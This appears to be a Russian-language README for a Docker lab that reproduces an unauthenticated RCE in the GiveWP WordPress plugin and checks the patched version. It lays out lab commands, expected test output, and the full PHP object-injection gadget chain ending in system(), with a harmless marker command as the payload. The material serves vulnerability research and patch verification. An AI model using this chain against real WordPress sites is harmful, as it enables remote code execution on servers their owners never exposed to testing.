
# Авторизованная Docker-лаборатория и чистый PoC для проверки CVE-2026-82222 RCE в GiveWP 4.16.5.1 и исправления 4.16.7.2.
Материалы для исследования безопасности, предназначенные для воспроизведения и проверки CVE-2026-82222 в изолированной Docker-лаборатории.
Для прямого PoC RCE и сканирования URL используйте CVE-2026-8222-RCE.py
Статус: подтверждено в предоставленной лаборатории
GiveWP 4.16.5.1 позволяет изначально неаутентифицированному атакующему сохранить граф PHP-объектов, восстановить его через обработку сессий GiveWP и выполнить фиксированную маркерную команду от имени пользователя веб-сервера WordPress.
Положительный результат теста:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG создан пользователем www-data
Сквозной результат также был воспроизведён на чистом, неинструментированном исходном коде GiveWP 4.16.5.1. GiveWP 4.16.7.2 заблокировал HTTP-носитель в протестированной конфигурации и независимо заблокировал терминальный гаджет при прямом управлении.
Это демонстрирует выполнение команд внутри контейнера WordPress. Это не демонстрирует получение root-доступа, выход из контейнера, горизонтальное перемещение или компрометацию хоста.
Используйте этот репозиторий только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Предоставленный PoC намеренно ограничен:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.HTTP-тест создаёт одноразового донора, метаданные и строки сессии GiveWP. После тестирования используйте встроенную команду сброса.
Требования:
curlunzipsha256sum или shasumdownloads.wordpress.org для официальных архивов плагиновЗапустите полную матрицу уязвимая/исправленная версия:
./lab verify
Эта команда:
ProviderForwarder также отклоняет строковый callable.Исправленная лаборатория остаётся запущенной в конце. Удалите её с помощью:
./lab reset
Для использования другого loopback-порта:
LAB_PORT=8099 ./lab verify
Уязвимый контроль должен завершиться конкретными терминальными доказательствами:
[PASS] E1: неаутентифицированная регистрация выдала auth cookie
[PASS] E3: сериализованный граф сохранён в собственном last_name
[PASS] E4: получен nonce формы пожертвования
[PASS] E5: запись сессии достигла ожидаемого пост-синка HTTP status=500
[PASS] E6: чтение/уничтожение сессии завершено
маркер присутствует и принадлежит веб-пользователю WordPress
RESULT: УЯЗВИМЫЙ КОНТРОЛЬ ПОДТВЕРЖДЁН
Исправленный контроль должен показать:
[PASS] P1: исправленный шлюз регистрации заблокировал auth cookie
DIRECT_MARKER=absent
HTTP-маркер отсутствует, и прямой терминальный гаджет заблокирован
RESULT: ИСПРАВЛЕННЫЙ КОНТРОЛЬ ПОДТВЕРЖДЁН
HTTP 500, сохранённая нагрузка, исключение или срабатывание детектора без маркера не принимаются как доказательство RCE.
Запустите и протестируйте уязвимую версию:
./lab start vulnerable
./lab test
Запустите и протестируйте исправленную версию:
./lab start patched
./lab test
Проверьте текущее состояние:
./lab status
Удалите контейнеры, тома, тестовых пользователей, сессии и состояние маркера:
./lab reset
Кэшированные ZIP-архивы плагинов и извлечённые ресурсы сохраняются для ускорения повторных запусков. Удалите и эти сгенерированные ресурсы с помощью:
./lab reset --purge-assets
| Версия | Оценка |
|---|---|
| GiveWP 4.16.5.1 | RCE воспроизведён сквозным образом |
| GiveWP 4.16.6–4.16.7.1 | Указаны как затронутые; здесь индивидуально не воспроизведены |
| GiveWP 4.16.7.2 | Исправленные отрицательные контроли воспроизведены |
| Более поздние версии | Индивидуально не тестировались; обновитесь до последней поддерживаемой версии |
Публичный advisory указывает версии до 4.16.7.1 включительно как затронутые. Этот репозиторий напрямую доказывает только две версии в своей матрице положительных/отрицательных тестов.
Ссылки:
Эксплойт сочетает несколько видов поведения:
Give\Helpers\Utils::maybeSafeUnserialize() использует
allowed_classes => false, создавая __PHP_Incomplete_Class, но последующая
сериализация сохраняет исходные имена классов и свойства.maybe_unserialize() восстанавливает поставляемые классы.system().В HTTP-носителе требуются четыре литеральных обратных слэша в пространстве имён. Два
эффективных прохода удаления уменьшают их 4 -> 2 -> 1. Нагрузка не содержит NUL-байтов,
и PHP 8.1.30 был проверен на корректное восстановление обычного сериализованного имени для
приватного свойства Session::$attributeName.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Граф, контролируемый атакующим:
TCPDF
├── file_id = уникальный идентификатор запроса
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = фиксированная маркерная команда
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
Критический скрытый переход — это неявная диспетчеризация IteratorAggregate
в PHP. TCPDF::$imagekeys не типизирован, поэтому присвоение Symfony Session
заставляет foreach вызывать Session::getIterator().
Маркерная команда выполняется до того, как Symfony применит
тип возврата getAttributeBag(): AttributeBagInterface. Возникающие
TypeError и HTTP 500 являются пост-синк эффектами.